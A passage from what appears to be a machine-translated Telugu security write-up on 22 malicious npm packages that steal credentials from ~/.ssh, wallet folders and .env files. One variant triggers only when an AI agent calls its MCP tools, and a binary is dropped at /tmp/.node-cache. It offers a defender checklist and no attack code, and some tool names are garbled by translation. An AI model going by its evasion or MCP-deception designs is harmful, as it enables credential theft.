- వేరియంట్ A ఇన్స్టాల్ సమయంలో నిశ్శబ్దంగా ఉంటుందిడాట్ఫైల్ రీడ్ జరుగుతుంది, కానీ ఒక AI ఏజెంట్ ప్యాకేజీ యొక్క MCP టూల్స్ను పిలిచినప్పుడు మాత్రమే బల్క్ ఎక్స్ఫిల్ ప్రారంభమవుతుంది. standard పోస్ట్ఇన్స్టాల్-వాచింగ్ శాండ్బాక్స్ చూస్తుంది నోడ్ -ఇ బ్లాక్ చేసి, అది చిన్నది మరియు జడమైనదిగా కనిపిస్తుంది అని నిర్ణయించుకోండి.
- వేరియంట్ B అనేది ఒకే లైన్. మాల్వేర్ వర్గీకరణ చేసే సంస్థ నేర్చుకోవడానికి ఇందులో ఏమీ లేదు — అస్పష్టత లేదు, ఎన్కోడ్ చేయబడిన పేలోడ్ లేదు, అనుమానాస్పదంగా కనిపించే డొమైన్ లేదు. పింగీ టన్నెల్ అనేది ఒక చట్టబద్ధమైన డెవలపర్ సేవ. అనుమానాస్పదమైన ఏకైక విషయం ఏమిటంటే, ఒక “కాన్ఫిగరేషన్ హెల్పర్” అసలు బయటి నుండి సమాచారం పంపవలసి రావడం.
- వేరియంట్ సి పూర్తిగా శుభ్రంగా కనిపిస్తుంది. దీనికి ఇన్స్టాల్ లేదు hooksప్రతి స్టాటిక్ సిగ్నల్ సాధారణమే.
MCP-టూల్ శకం కోసం ఒక చిన్న డిఫెండర్ చెక్లిస్ట్
ఈ ప్రచారాన్ని ముందే పట్టుకోగలిగే మూడు నిర్దిష్ట చర్యలు:
- ప్యాకేజీని కాదు, ప్రచురణకర్తను పరిగణించండి. ఒకే ఏడాది పాత QQ-మెయిల్ ఖాతా కింద ఇరవై రెండు ప్యాకేజీలు SCM ప్యాకేజీ వారీ ఫీచర్లలో దేనికంటే కూడా ధృవీకరణ అనేది ఒక స్పష్టమైన సంకేతం. మా ముందస్తు హెచ్చరిక వర్క్ఫ్లో మొదటి ప్యాకేజీలను పట్టుకుంది, ఎందుకంటే పబ్లిషర్ ఫింగర్ప్రింట్ స్పష్టంగా కనిపించింది — ఇది సురక్షితమైన, అనిశ్చితమైన, లేదా మాల్వేర్ వంటి ప్యాకేజీ వారీ వర్గీకరణలలో ఏదైనా ఒకటి తగ్గించగల పబ్లిషర్-ప్రతిష్ట స్కోర్ను సిఫార్సు చేసింది.
- డైనమిక్-కాన్ఫిగ్ పరోక్ష చర్యలను, అవి హానికరమైనవి కాదని రుజువయ్యేంత వరకు, హానికరమైనవిగా పరిగణించండి. ఒక ప్యాకేజీ రన్టైమ్లో దాని అవుట్బౌండ్ ఎండ్పాయింట్ను థర్డ్-పార్టీ డాక్యుమెంట్ (GitHub పేజెస్, GitHub గిస్ట్, పేస్ట్బిన్, S3 ఆబ్జెక్ట్, లేదా మరెక్కడైనా) నుండి రిసాల్వ్ చేసుకుంటే, టెలిమెట్రీ కోసం అలా చేయడానికి దానికి సరైన కారణం ఏదీ ఉండదు. నిజమైన టెలిమెట్రీ ఎండ్పాయింట్లు హార్డ్కోడ్ చేయబడి, డాక్యుమెంట్ చేయబడి ఉంటాయి.
- ప్రకటించిన టూల్ సర్ఫేస్ ద్వారా MCP-సర్వర్ ప్యాకేజీలను ఆడిట్ చేయండి. వేరియంట్-ఎ ప్యాకేజీలన్నీ పేరు పెట్టబడిన సాధనాలను ప్రచారం చేస్తాయి
search_leaked_credentials,validate_chain_key,deploy_safeమరియు ఇలాంటి “ఆడిట్” క్రియలు. ప్రాజెక్ట్ డైరెక్టరీలను ఆధారాల కోసం స్కాన్ చేస్తుందని దాని వివరణలో పేర్కొనే ఒక సాధనాన్ని ప్రదర్శించే MCP హోస్ట్, ఏజెంట్ దానిని నిజమైన కోడ్బేస్పై అమలు చేయడానికి ముందు ఆపరేటర్ నుండి స్పష్టమైన అంగీకారాన్ని కోరాలి. MCP యొక్క ముఖ్య ఉద్దేశ్యం ఏమిటంటే, ఏజెంట్ లూప్కు అది ఉందో లేదో తెలుసుకునే మార్గం ఉండదు.search_leaked_credentialsక్రెడెన్షియల్ శోధన లేదా క్రెడెన్షియల్ ఎక్స్ఫిల్ట్రేటర్.
ఇప్పటికే 22 ప్యాకేజీలలో ఒకదానిని ఇన్స్టాల్ చేసి ఉండగల డెవలపర్ల కోసం: ఏదైనా ప్లెయిన్టెక్స్ట్ కీని ఊహించుకోండి ~/.ssh, ~/.ethereum, ~/.bitcoin, ~/.solana, ~/.envలేదా ~/.git-credentials ఒకవేళ సమాచారం రాజీపడితే, పైన పేర్కొన్న env-variable ఫిల్టర్ జాబితాతో పేరు సరిపోలే ప్రతి క్రెడెన్షియల్ను రొటేట్ చేయండి మరియు Linux/macOSలో ఎగ్జిక్యూటబుల్ ఫైల్ కోసం తనిఖీ చేయండి. /tmp/.node-cache (మరియు దాని నుండి ప్రారంభమైన ఏదైనా అనాథ ప్రక్రియ). నకిలీ టూలింగ్ యొక్క చట్టబద్ధమైన సంస్కరణను తిరిగి ఇన్స్టాల్ చేయడం (కొలిమిలో, కుక్కగొడుగుల, కఠినమైన, ganache, మొదలైనవి) వదిలివేయబడిన బైనరీని తొలగించదు.
ఈ కథలో అత్యంత దారుణంగా మిగిలిపోయే భాగం నిద్రాణంగా ఉన్న వేరియంట్-సి ట్రాంచ్. క్లీన్ ఇన్స్టాల్ ప్రొఫైల్ మరియు స్థిరపడిన పబ్లిషర్తో ఉన్న తొమ్మిది ప్యాకేజీలు, ఒక ఆపరేటర్ రిజర్వ్లో ఉంచుకునే ఇన్వెంటరీ లాంటివే. ఒకవేళ అవి తర్వాత పేలిపోతే — ఫాంటమ్బాట్ విషయంలో జరిగినట్లుగా — దాని axois-utils రీప్యాకేజ్ క్రెడెన్షియల్ దొంగతనం నుండి బాట్నెట్ రిక్రూట్గా మారింది — ఈ రోజు నుండి టేక్డౌన్ వరకు వేరియంట్-సి ప్యాకేజీని పిన్ చేసిన ఏ రిజిస్ట్రీ కన్స్యూమర్పైనైనా అవి దాడి చేస్తాయి. వెర్షన్ ద్వారా హానికరమైన ప్యాకేజీని పిన్ చేయడం అనేది, ప్రతి వెర్షన్ను నియంత్రించే పబ్లిషర్ నుండి మిమ్మల్ని రక్షించదు.
ప్రస్తావనలు
- [npm ప్రచురణకర్త పేజీ కోసం ddjidd5640](https://www.npmjs.com/~ddjidd5640) — ప్రస్తుతం ఈ ఖాతా కింద 22 ప్యాకేజీలు జాబితా చేయబడ్డాయి. ఈ రచన సమయంలో కేటలాగ్కు ఇది అధికారిక మూలం.
- [npm ప్యాకేజీ పేజీ కోసం] క్రిప్టో-క్రెడెన్షియల్-స్కానర్](https://www.npmjs.com/package/crypto-credential-scanner) — ఉదాహరణ వేరియంట్-ఎ ఆర్టిఫ్యాక్ట్; ఇక్కడ README, వెర్షన్ చరిత్ర మరియు రచయిత లింకులు కనిపిస్తాయి.







